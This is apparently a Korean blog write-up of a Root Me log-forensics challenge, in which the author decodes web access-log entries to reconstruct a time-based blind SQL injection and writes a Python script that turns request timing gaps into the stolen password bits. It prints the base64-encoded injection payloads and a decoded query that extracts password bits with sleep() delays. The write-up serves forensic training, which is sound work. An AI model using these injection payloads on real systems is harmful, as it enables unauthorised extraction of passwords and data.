워게임/Root Me

[Root Me] Logs analysis - web attack - 포렌식 / 로그분석 / Python

SecurityMan 2022. 9. 15. 11:00

 

Root Me 의 웹 서버 접근로그 포렌식 문제

 

문제 설명을 읽어보면 웹사이트가 공격을 당했는데,

 

자기들 회사의 system admin 웹 서버 로그를 볼 줄 몰라 도와달라고 한다.

 

목표는 어떤 데이터가 유출되었는지 찾아내는 것이다.

 

반응형

 

192.168.1.23 - - [18/Jun/2015:12:12:54 +0200] "GET /admin/?action=membres&order=QVNDLChzZWxlY3QgKGNhc2UgZmllbGQoY29uY2F0KHN1YnN0cmluZyhiaW4oYXNjaWkoc3Vic3RyaW5nKHBhc3N3b3JkLDEsMSkpKSwxLDEpLHN1YnN0cmluZyhiaW4oYXNjaWkoc3Vic3RyaW5nKHBhc3N3b3JkLDEsMSkpKSwyLDEpKSxjb25jYXQoY2hhcig0OCksY2hhcig0OCkpLGNvbmNhdChjaGFyKDQ4KSxjaGFyKDQ5KSksY29uY2F0KGNoYXIoNDkpLGNoYXIoNDgpKSxjb25jYXQoY2hhcig0OSksY2hhcig0OSkpKXdoZW4gMSB0aGVuIFRSVUUgd2hlbiAyIHRoZW4gc2xlZXAoMikgd2hlbiAzIHRoZW4gc2xlZXAoNCkgd2hlbiA0IHRoZW4gc2xlZXAoNikgZW5kKSBmcm9tIG1lbWJyZXMgd2hlcmUgaWQ9MSk%3D HTTP/1.1" 200 1005 "-" "-"
192.168.1.23 - - [18/Jun/2015:12:13:00 +0200] "GET /admin/?action=membres&order=QVNDLChzZWxlY3QgKGNhc2UgZmllbGQoY29uY2F0KHN1YnN0cmluZyhiaW4oYXNjaWkoc3Vic3RyaW5nKHBhc3N3b3JkLDEsMSkpKSwzLDEpLHN1YnN0cmluZyhiaW4oYXNjaWkoc3Vic3RyaW5nKHBhc3N3b3JkLDEsMSkpKSw0LDEpKSxjb25jYXQoY2hhcig0OCksY2hhcig0OCkpLGNvbmNhdChjaGFyKDQ4KSxjaGFyKDQ5KSksY29uY2F0KGNoYXIoNDkpLGNoYXIoNDgpKSxjb25jYXQoY2hhcig0OSksY2hhcig0OSkpKXdoZW4gMSB0aGVuIFRSVUUgd2hlbiAyIHRoZW4gc2xlZXAoMikgd2hlbiAzIHRoZW4gc2xlZXAoNCkgd2hlbiA0IHRoZW4gc2xlZXAoNikgZW5kKSBmcm9tIG1lbWJyZXMgd2hlcmUgaWQ9MSk%3D HTTP/1.1" 200 1005 "-" "-"
192.168.1.23 - - [18/Jun/2015:12:13:00 +0200] "GET /admin/?action=membres&order=QVNDLChzZWxlY3QgKGNhc2UgZmllbGQoY29uY2F0KHN1YnN0cmluZyhiaW4oYXNjaWkoc3Vic3RyaW5nKHBhc3N3b3JkLDEsMSkpKSw1LDEpLHN1YnN0cmluZyhiaW4oYXNjaWkoc3Vic3RyaW5nKHBhc3N3b3JkLDEsMSkpKSw2LDEpKSxjb25jYXQoY2hhcig0OCksY2hhcig0OCkpLGNvbmNhdChjaGFyKDQ4KSxjaGFyKDQ5KSksY29uY2F0KGNoYXIoNDkpLGNoYXIoNDgpKSxjb25jYXQoY2hhcig0OSksY2hhcig0OSkpKXdoZW4gMSB0aGVuIFRSVUUgd2hlbiAyIHRoZW4gc2xlZXAoMikgd2hlbiAzIHRoZW4gc2xlZXAoNCkgd2hlbiA0IHRoZW4gc2xlZXAoNikgZW5kKSBmcm9tIG1lbWJyZXMgd2hlcmUgaWQ9MSk%3D HTTP/1.1" 200 1005 "-" "-"
192.168.1.23 - - [18/Jun/2015:12:13:06 +0200] "GET /admin/?action=membres&order=QVNDLChzZWxlY3QgKGNhc2UgZmllbGQoY29uY2F0KHN1YnN0cmluZyhiaW4oYXNjaWkoc3Vic3RyaW5nKHBhc3N3b3JkLDEsMSkpKSw3LDEpKSxjaGFyKDQ4KSxjaGFyKDQ5KSkgd2hlbiAxIHRoZW4gc2xlZXAoMikgd2hlbiAyIHRoZW4gc2xlZXAoNCkgIGVuZCkgZnJvbSBtZW1icmVzIHdoZXJlIGlkPTEp HTTP/1.1" 200 832 "-" "-"

 

웹 접근 로그파일이 제공되는데 위와 같은 형태이다.

 

너무 많아서 맨 앞에 4줄만 가져왔다.

 

실제 문제파일에는 84줄이 저장되어있다.

 

해킹문제에서 제공되는 웹 서버 로그 치고는 양이 그렇게 많진 않은 편이다.

 

192.168.1.23 접근한 사용자의 IP
[18/Jun/2015:12:12:54 +0200] 접근한 시간
/admin/?action=membres&order=QVNDLChzZWxlY3QgKGNhc2UgZmllbGQoY29uY2F0KHN1YnN0cmluZyhiaW4oYXNjaWkoc3Vic3RyaW5nKHBhc3N3b3JkLDEsMSkpKSwxLDEpLHN1YnN0cmluZyhiaW4oYXNjaWkoc3Vic3RyaW5nKHBhc3N3b3JkLDEsMSkpKSwyLDEpKSxjb25jYXQoY2hhcig0OCksY2hhcig0OCkpLGNvbmNhdChjaGFyKDQ4KSxjaGFyKDQ5KSksY29uY2F0KGNoYXIoNDkpLGNoYXIoNDgpKSxjb25jYXQoY2hhcig0OSksY2hhcig0OSkpKXdoZW4gMSB0aGVuIFRSVUUgd2hlbiAyIHRoZW4gc2xlZXAoMikgd2hlbiAzIHRoZW4gc2xlZXAoNCkgd2hlbiA0IHRoZW4gc2xlZXAoNikgZW5kKSBmcm9tIG1lbWJyZXMgd2hlcmUgaWQ9MSk%3D 접근한 경로(URI)

 

웹 access.log 를 보는 방법은 대략적으로 위와 같다.

 

다른 정보들도 많지만 이정도만 볼 줄 알아도 충분하다.

 

접근한 경로를 자세히 보면 order 변수에 base64로 인코딩된 값을 넣어주고 있는데

 

 

CyberChef(https://gchq.github.io/CyberChef) 에서 디코딩을 해보면  SQL 쿼리문 처럼 보이는값이 나오게 된다.

 

피해 시스템에 SQL Injection 공격이 수행되었음을 짐작할 수 있다.

 

ASC,(
	select (
    	case field(
        	concat(
            	substring(bin(ascii(substring(password,1,1))),1,1),
                substring(bin(ascii(substring(password,1,1))),2,1)),
                concat(char(48),char(48)),
                concat(char(48),char(49)),
                concat(char(49),char(48)),
                concat(char(49),char(49))
                )
            when 1 then TRUE 
            when 2 then sleep(2) 
            when 3 then sleep(4) 
            when 4 then sleep(6) 
        end) 
    from membres where id=1
    )

 

보기 쉽게 정리하면 이런 모양의 쿼리가 된다.

 

복잡해 보이는데 차근차근 퍼즐을 맞춰가면 그렇게 어렵지 않다.

 

substring(password,1,1)

 

가장 먼저 password 에서 맨 앞의 한글자를 잘라서 가져온다.

 

예를들어 password 가 hello 라면 h 한글자를 가져오는 것이다.

 

ascii(substring(password,1,1))

 

그다음 가져온 한글자를 ASCII 코드값으로 바꿔준다.

 

 

h 를 가져왔다면 여기서 104 로 바뀌게 된다.

 

bin(ascii(substring(password,1,1)))

 

그다음 ASCII 코드값을 bin 으로 바이너리 값으로 바꿔준다.

 

 

104는 01101000 으로 바뀌게 된다.

 

substring(bin(ascii(substring(password,1,1))),1,1)

 

그다음 다시 substring 으로 맨 앞에 한글자를 잘라낸다.

 

이렇게하면 최종적으로 0 이 저장되게 된다.

 

concat(
        substring(bin(ascii(substring(password,1,1))),1,1),
        substring(bin(ascii(substring(password,1,1))),2,1))

 

똑같은 방법을 한번 더 진행한 뒤에 bin 값에서 두번째 글자를 잘라 1 을 가져온 후, (01101000 에서)

 

아까 가져왔던 0과 합해준다.

 

그러면 01 이라는 값을 가져올 수 있다.

 

concat(char(48),char(48)),
concat(char(48),char(49)),
concat(char(49),char(48)),
concat(char(49),char(49))

 

여기서 char(48), char(48) / char(48), char(49) / char(49), char(48) / char(49), char(49) 네가지 값을 만들어 낸다.

 

 

char(48) 은 0 이고, char(49) 는  1 이다.

 

그러니까 00, 01, 10, 11 네가지 값을 만든것이다.

 

when 1 then TRUE 
when 2 then sleep(2) 
when 3 then sleep(4) 
when 4 then sleep(6)

 

마지막으로 case 문을통해 비교한다.

 

비밀번호를 잘라서 가져온 값과 char 로 만든 00 / 01 / 10 / 11 을 비교하는 것이다.

 

00 이라면 TRUE 를, 01 이라면 sleep(2) 를, 10이라면 sleep(4) 를, 11 이라면 sleep(6) 을 하게 된다.

 

아까 가져온 값이 01 이었으니, sleep(2) 가 되었을 것이다.

 

SQL 구문은 이런식으로 동작한다.

 

 

SQL 쿼리를 보다보면 조금 다른 유형의 쿼리도 보이는데, 결국은 위와 똑같은 작업을 하고있다.

 

ASC,(
	select (
    	case field(
        	concat(
            	substring(bin(ascii(substring(password,1,1))),7,1)),
                char(48),
                char(49)
               	) 
            when 1 then sleep(2) 
            when 2 then sleep(4)  
        end) 
	from membres where id=1)

 

이건 아까 뽑아낸 바이너리 값 01101000 에서 맨 마지막 글자를 잘라내 그 값이 0인지 1인지 비교하는 것이다.

 

bin 값이 7자리여서  6번째 자리까지는 앞에서 본것처럼 두글자씩 잘라내서 비교하고,

 

마지막 한글자는 따로 비교하게끔 쿼리를 작성한듯 하다.

 

case 문으로 시간을 통해 쿼리의 참/거짓을 판단하고 있다.

 

[18/Jun/2015:12:12:54 +0200]
[18/Jun/2015:12:13:00 +0200] #6초
[18/Jun/2015:12:13:00 +0200] #0초
[18/Jun/2015:12:13:06 +0200] #6초
[18/Jun/2015:12:13:10 +0200] #4초

 

주어진 웹 접속 로그의 시간정보를 살펴본다.

 

시간차이가 각각 6 / 0 / 6 / 4 초인데,

 

아까 case 문과 비교해보면 각각 11 / 00 / 11 / 1 값이 리턴되었다는걸 알 수 있다.

 

 

1100111 은 10진수로 103 이고,

 

 

10진수 103은 ASCII 코드로 g 를 의미한다.

 

비밀번호의 첫번째 글자는 g 인것이다.

 

이런식으로 모든 값을 찾아내면 된다.

 

from datetime import datetime

f = open('log.txt', 'r')

lines = []
flag = ''

for i in range(84):
    line = f. readline()
    line = line[30:38].split(':')
    line = "".join(line)
    line = datetime.strptime(line,'%H%M%S')
    lines.append(line)

for i in range(len(lines)-1):
    date_diff = lines[i+1] - lines[i]

    if i%4 == 3:
        if date_diff.seconds == 2:
            flag += '0'
        elif date_diff.seconds == 4:
            flag += '1'
        else:
            flag += '3'
    else:
        if date_diff.seconds == 0:
            flag += '00'
        elif date_diff.seconds == 2:
            flag += '01'
        elif date_diff.seconds == 4:
            flag += '10'
        elif date_diff.seconds == 6:
            flag += '11'

print(flag)

 

어렵지 않게 python 을 이용해 문제풀이 코드를 짤 수 있다.

 

먼저 로그파일을 한줄씩 읽어주고,

 

로그에서 시간정보만 추출해 lines 배열에 하나씩 넣어준다.

 

lines 배열에서 i 번째와 i+1 번째의 시간을 비교하면서,

 

sleep 된 시간만큼 데이터를 추출해주면 된다.

 

코드를 돌리다 보니 4n번째 쿼리(binary에서 7번째 값을 가져오는 쿼리) 중

 

규칙에 어긋나는 애들이 있다는 것이다.

 

얘네들은 sleep(2) 아니면 sleep(4)여야 하는데 간혹 sleep(0)인 애들이 있었다.

 

그런애들은 그냥 파싱이 되지 않도록 0, 1이아닌 3을 넣어줬다.

 

 

코드를 실행시키면 이렇게 2진수 데이터가 나온다.

 

 

추출한 데이터를 CyberChef 에서 디코딩해주면 플래그가 나온다.

 

주의할점은 From Binary 에서 Byte Length 를 7로 설정해줘아 한다는 것이다.

반응형